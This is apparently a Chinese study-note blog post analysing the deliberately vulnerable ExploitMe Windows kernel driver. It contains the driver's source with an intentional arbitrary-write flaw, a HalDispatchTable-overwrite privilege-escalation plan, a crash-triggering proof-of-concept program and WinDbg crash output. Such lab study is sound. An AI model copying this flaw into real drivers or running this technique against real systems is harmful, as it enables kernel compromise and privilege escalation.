通常情况下,操作系统的内核程序、驱动程序等都是在0环上运行的。漏洞的攻防一直是此起彼伏的状态,驱动也可以作为病毒木马的载体。此篇仅作为学习记录是自己加深对内核漏洞的理解。
0 驱动程序
0day中的驱动程序exploitme:
#include <ntddk.h>
#define DEVICE_NAME L"\\Device\\ExploitMe"
#define DEVICE_LINK L"\\DosDevices\\ExploitMe"
#define FILE_DEVICE_EXPLOIT_ME 0x00008888
#define IOCTL_EXPLOIT_ME (ULONG)CTL_CODE(FILE_DEVICE_EXPLOIT_ME,0x800,METHOD_NEITHER,FILE_WRITE_ACCESS)
PDEVICE_OBJECT g_DeviceObject;
//卸载函数
VOID DriverUnload( IN PDRIVER_OBJECT driverObject )
{
//什么都不做,只是打印一句话
KdPrint(("DriverUnload: 88!\n"));
}
//派遣例程函数
NTSTATUS DrvDispatch(IN PDEVICE_OBJECT driverObject,IN PIRP pIrp)
{
PIO_STACK_LOCATION pIrpStack;//当前的 pIrp 栈
PVOID Type3InputBuffer;//用户态输入地址
PVOID UserBuffer;//用户态输出地址
ULONG inputBufferLength;//输入缓冲区的大小
ULONG outputBufferLength;//输出缓冲区的大小
ULONG ioControlCode;//DeviceIoControl 的控制号
PIO_STATUS_BLOCK IoStatus;//pIrp 的 IO 状态指针
NTSTATUS ntStatus=STATUS_SUCCESS;//函数返回值
//获取数据
pIrpStack = IoGetCurrentIrpStackLocation(pIrp);
Type3InputBuffer = pIrpStack->Parameters.DeviceIoControl.Type3InputBuffer;
UserBuffer = pIrp->UserBuffer;
inputBufferLength = pIrpStack->Parameters.DeviceIoControl.InputBufferLength;
outputBufferLength = pIrpStack->Parameters.DeviceIoControl.OutputBufferLength;
ioControlCode = pIrpStack->Parameters.DeviceIoControl.IoControlCode;
IoStatus=&pIrp->IoStatus;
IoStatus->Status = STATUS_SUCCESS;// Assume success
IoStatus->Information = 0;// Assume nothing returned
//根据 ioControlCode 完成对应的任务
switch(ioControlCode)
{
case IOCTL_EXPLOIT_ME:
if ( inputBufferLength >= 4 && outputBufferLength >= 4 )
{
*(ULONG *)UserBuffer = *(ULONG *)Type3InputBuffer;
IoStatus->Information = sizeof(ULONG);
}
break;
}
//返回
IoStatus->Status = ntStatus;
IoCompleteRequest(pIrp,IO_NO_INCREMENT);
return ntStatus;
}
//驱动主函数,相当于main
NTSTATUS DriverEntry( IN PDRIVER_OBJECT driverObject, IN PUNICODE_STRING registryPath )
{
NTSTATUS ntStatus;
UNICODE_STRING devName;
UNICODE_STRING symLinkName;
int i=0;
//打印一句调试信息
KdPrint(("DriverEntry: Hello world driver demo!\n"));
//设置该驱动对象的卸载函数
driverObject->DriverUnload = DriverUnload;
//创建设备
RtlInitUnicodeString(&devName,DEVICE_NAME);
ntStatus = IoCreateDevice( driverObject, 0, &devName, FILE_DEVICE_UNKNOWN, 0, TRUE, &g_DeviceObject );
if (!NT_SUCCESS(ntStatus))
{
return ntStatus;
}
//创建符号链接
RtlInitUnicodeString(&symLinkName,DEVICE_LINK);
ntStatus = IoCreateSymbolicLink( &symLinkName,&devName );
if (!NT_SUCCESS(ntStatus))
{
IoDeleteDevice( g_DeviceObject );
return ntStatus;
}
//设置该驱动对象的派遣例程函数
for (i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++)
{
driverObject->MajorFunction[i] = DrvDispatch;
}
//返回成功结果
return STATUS_SUCCESS;
}
现在自己的驱动程序有了,之后讨论的就是3环程序怎么与0环中的驱动程序进行通信。
1 3环程序打开驱动设备
3环的程序向驱动发出I/O请求时,是由DeviceIoControl等函数所完成的;然后在内核中由操作系统将其转化为IRP数据结构(I/O Request Package)。IRP结构中的MajorFunction字段决定该IRP包发送驱动的哪个派遣例程函数。
3环程序访问驱动时要求创建符号链接,在驱动程序中可以通过IoCreateSymbolicLink函数创建符号链接程序。在前面的exploitme驱动中在入口函数里创建了一个设备并为其创建了符号链接:
#define DEVICE_NAME L"\\Device\\ExploitMe"
#define DEVICE_LINK L"\\DosDevices\\ExploitMe"
...
...
...
//创建设备
RtlInitUnicodeString(&devName,DEVICE_NAME);
ntStatus = IoCreateDevice( driverObject, 0, &devName, FILE_DEVICE_UNKNOWN, 0, TRUE, &g_DeviceObject );
if (!NT_SUCCESS(ntStatus))
{
return ntStatus;
}
//创建符号链接
RtlInitUnicodeString(&symLinkName,DEVICE_LINK);
ntStatus = IoCreateSymbolicLink( &symLinkName,&devName );
if (!NT_SUCCESS(ntStatus))
{
IoDeleteDevice( g_DeviceObject );
return ntStatus;
}
3环程序可以通过CreateFile函数打开设备,与exploitme驱动所对应地:
HANDLE hDevice=
CreateFile(
"\\\\.\\HelloWorld",
GENERIC_READ|GENERIC_WRITE,
0,//不共享
NULL,//不使用安全描述符
OPEN_EXISTING,//仅存在时打开
FILE_ATTRIBUTE_NORMAL,
NULL);//不使用模板
现在3环程序已经能够打开设备驱动了,之后进行的应该是3环程序要求驱动所做的工作。
2 DeviceIoControl函数与IoControlCode参数
前面提到过DeviceIoControl函数,功能是完成3环程序向驱动发出I/O请求。
第二个参数dwIoControlCode很重要,由宏CTL_CODE构成,可分为四部分:
DeviceType表示设备类型;
Access表示对设备的访问权限;
Function表示设备IoControl的功能号,0~0x7ff为微软保留,0x800~0xfff由程序员自己定义;
Method表示3环与0环通信中的内存访问方式。
其中Method部分又有四种内存访问方式:
#define METHOD_BUFFERED 0
#define METHOD_IN_DIRECT 1
#define METHOD_OUT_DIRECT 2
#define METHOD_NEITHER 3
不同值对应着不同的通信方式,具体内容可以0day第21章找到。
3 内核漏洞成因分析
前面已经讨论过3环程序如何打开驱动设备句柄并使用DeviceIoControl函数调用派遣例程。
再回头看驱动程序exploitme代码:
#define IOCTL_EXPLOIT_ME (ULONG)CTL_CODE(FILE_DEVICE_EXPLOIT_ME,0x800,METHOD_NEITHER,FILE_WRITE_ACCESS)
...
...
...
//派遣例程函数
NTSTATUS DrvDispatch(IN PDEVICE_OBJECT driverObject,IN PIRP pIrp)
{
...
...
...
//根据 ioControlCode 完成对应的任务
switch(ioControlCode)
{
case IOCTL_EXPLOIT_ME:
if ( inputBufferLength >= 4 && outputBufferLength >= 4 )
{
*(ULONG *)UserBuffer = *(ULONG *)Type3InputBuffer;
IoStatus->Information = sizeof(ULONG);
}
break;
}
...
...
}
exploitme的派遣例程DrvDispatch函数中只处理了一个IoControlCode:IOCTL_EXPLOIT_ME ,可知IOCTL_EXPLOIT_ME 这个IoControlCode指定的3环与0环内存访问方式为METHOD_NEITHER方式。接下来梳理漏洞利用思路:
exploitme.sys存在的漏洞在于驱动派遣例程中对IOCTL_EXPLOIT_ME的IoControlCode处理过程。漏洞利用过程:
1. 在当前进程exploit.exe的0x0地址处申请内存存放0环shellcode代码
2. 将HalDispatchTable中的HalQuerySystemInformation(0环函数)函数地址改写为0x0
3. 调用HalQuerySystemInformation(0环函数)的上层封装函数NtQueryIntervalProfile(3环函数),如此事先准备好的0环shellcode将会执行。如下图所示:
可以看出漏洞利用手段与IAT Hook相似,都是对函数地址进行hook。
利用工具加载exploitme.sys驱动(实验环境为Win xp sp3),使用WinDbg进行内核调试:
利用查看驱动对象命令:!drvobj ExploitMe 2
ExploitMe+0x4b0就是IRP派遣例程,对该地址反汇编查找IoControlCode:
继续分析IoControlCode 8888A003h的派遣例程:
WinDbg中分析的输入、输出缓冲区均是由3环程序指定,既用户可控。这就导致可向任意地址写任意内容,最终实现提权。
下面编写代码以触发崩溃:
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
void ShowErrMsg()
{
LPVOID lpMsgBuf;
DWORD dw = GetLastError();
FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM,
NULL,
dw,
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
(LPTSTR) &lpMsgBuf,
0, NULL );
printf("系统错误:%s", lpMsgBuf);
LocalFree(lpMsgBuf);
}
int main(void)
{
HANDLE hDevice;
DWORD length = 0;
BOOL ret;
char g_InputBuffer[4] = "\x00\x00\x00"; //输入缓冲区指针
//打开设备驱动
hDevice = CreateFile("\\\\.\\ExploitMe",GENERIC_READ|GENERIC_WRITE,0,0,OPEN_EXISTING,FILE_ATTRIBUTE_SYSTEM,0);
if(hDevice == INVALID_HANDLE_VALUE)
{
ShowErrMsg();
return EXIT_FAILURE;
}
//利用漏洞向地址0x80808080写入数值0x00000000
ret = DeviceIoControl(hDevice, //驱动句柄
0x8888A003, //IoControlCode数值
g_InputBuffer, //输入缓冲区指针
4, //输入缓冲区字节数
(LPVOID)0x80808080, //输出缓冲区指针
4, //输出缓冲区字节数
&length, //返回实际的数据字节数
NULL);
if(!ret)
ShowErrMsg();
else
printf("DeviceIoControl Success!\n");
return EXIT_SUCCESS;
}
运行后系统崩溃被WinDbg断下,利用!analyze -v命令分析:
kd> !analyze -v
Connected to Windows XP 2600 x86 compatible target at (Fri May 13 15:05:43.730 2022 (UTC + 8:00)), ptr64 FALSE
Loading Kernel Symbols
..........................................
Press ctrl-c (cdb, kd, ntsd) or ctrl-break (windbg) to abort symbol loads that take too long.
Run !sym noisy before .reload to track down problems loading symbols.
.....................
............................................................
Loading User Symbols
...
Loading unloaded module list
.........
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************
PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except.
Typically the address is just plain bad or it is pointing at freed memory.
Arguments:
Arg1: 80808080, memory referenced.
Arg2: 00000001, value 0 = read operation, 1 = write operation.
Arg3: f8ccc539, If non-zero, the instruction address which referenced the bad memory
address.
Arg4: 00000000, (reserved)
Debugging Details:
------------------
*** WARNING: Unable to verify checksum for exploit.exe
KEY_VALUES_STRING: 1
Key : Analysis.CPU.Sec
Value: 1
Key : Analysis.DebugAnalysisProvider.CPP
Value: Create: 8007007e on HANXU-PC
Key : Analysis.DebugData
Value: CreateObject
Key : Analysis.DebugModel
Value: CreateObject
Key : Analysis.Elapsed.Sec
Value: 9
Key : Analysis.Memory.CommitPeak.Mb
Value: 62
Key : Analysis.System
Value: CreateObject
BUGCHECK_CODE: 50
BUGCHECK_P1: ffffffff80808080
BUGCHECK_P2: 1
BUGCHECK_P3: fffffffff8ccc539
BUGCHECK_P4: 0
WRITE_ADDRESS: Target machine operating system not supported
80808080
MM_INTERNAL_CODE: 0
IMAGE_NAME: ExploitMe.sys
MODULE_NAME: ExploitMe
FAULTING_MODULE: f8ccc000 ExploitMe
PROCESS_NAME: exploit.exe
TRAP_FRAME: b1b46b9c -- (.trap 0xffffffffb1b46b9c)
ErrCode = 00000002
eax=80808080 ebx=8218d138 ecx=0012ff70 edx=00000000 esi=8239ada0 edi=8219b2b8
eip=f8ccc539 esp=b1b46c10 ebp=b1b46c34 iopl=0 nv up ei pl zr na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010246
ExploitMe+0x539:
f8ccc539 8910 mov dword ptr [eax],edx ds:0023:80808080=???????? //向0x80808080地址写入0
Resetting default scope
STACK_TEXT:
b1b466d8 804f8bc3 00000003 80808080 00000000 nt!RtlpBreakWithStatusInstruction
b1b46724 804f97b0 00000003 00000000 c0404040 nt!KiBugCheckDebugBreak+0x19
b1b46b04 804f9cdb 00000050 80808080 00000001 nt!KeBugCheck2+0x574
b1b46b24 8051dd43 00000050 80808080 00000001 nt!KeBugCheckEx+0x1b
b1b46b84 80541760 00000001 80808080 00000000 nt!MmAccessFault+0x8e7
b1b46b84 f8ccc539 00000001 80808080 00000000 nt!KiTrap0E+0xcc
WARNING: Stack unwind information not available. Following frames may be wrong.
b1b46c34 804ef199 822e6bc0 8218d138 806d42d0 ExploitMe+0x539 //漏洞所在函数
b1b46c44 80575f50 8218d1a8 8219b2b8 8218d138 nt!IopfCallDriver+0x31
b1b46c58 80576e0b 822e6bc0 8218d138 8219b2b8 nt!IopSynchronousServiceTail+0x70
b1b46d00 8056f65e 000007e8 00000000 00000000 nt!IopXxxControlFile+0x5e7
b1b46d34 8053e854 000007e8 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
b1b46d34 7c92e514 000007e8 00000000 00000000 nt!KiSystemServicePostCall
0012fe98 7c92d28a 7c801675 000007e8 00000000 ntdll!KiFastSystemCallRet
0012fe9c 7c801675 000007e8 00000000 00000000 ntdll!NtDeviceIoControlFile+0xc
0012fefc 00401153 000007e8 8888a003 0012ff70 kernel32!DeviceIoControl+0xdd
0012ff80 00401389 00000001 00380d80 00380e08 exploit+0x1153
0012ffc0 7c81776f 00241fe4 0012f7bc 7ffdd000 exploit+0x1389
0012fff0 00000000 004012a0 00000000 78746341 kernel32!BaseProcessStart+0x23
SYMBOL_NAME: ExploitMe+539
STACK_COMMAND: .thread ; .cxr ; kb
FAILURE_BUCKET_ID: 0x50_ExploitMe+539
OSPLATFORM_TYPE: x86
OSNAME: Windows XP
FAILURE_ID_HASH: {0e8acaad-3c03-70c7-5a44-32b581c7f3bd}
Followup: MachineOwner
---------